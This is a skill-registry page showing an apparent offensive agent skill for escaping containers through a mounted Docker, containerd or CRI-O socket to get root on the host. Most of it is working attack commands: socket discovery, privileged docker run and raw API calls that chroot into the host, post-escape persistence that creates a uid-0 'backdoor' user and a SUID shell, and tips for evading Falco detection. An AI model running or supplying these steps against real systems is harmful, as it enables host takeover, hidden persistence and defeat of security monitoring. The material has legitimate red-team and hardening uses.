Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.
65
79%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.mdA container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.
# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null
# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
--mount type=bind,src=/,dst=/host,options=rbind \
docker.io/library/alpine:latest escape sh -c 'chroot /host'
# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /hostcrictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.| Context | Why the socket is mounted |
|---|---|
| Jenkins/GitLab CI runners | Build Docker images inside the build container |
| ArgoCD / Flux | Run pre-/post-sync hooks that build images |
| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |
| Diagnostic sidecars | Container-level metrics/log shippers |
| Buildkit daemon w/ ungated rootless socket | Same primitive, less restricted env |
# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x/var/log/docker.log or journald). Use a benign-sounding image name.attach_drop_capability, escape_to_host_namespace flag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather than docker run (multiple).RunPodSandbox — same evasion approach.hostPath: /var/run/docker.sock at admit time.Mount docker.sock catches the runtime case.docker-default doesn't block this — needs custom profile.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.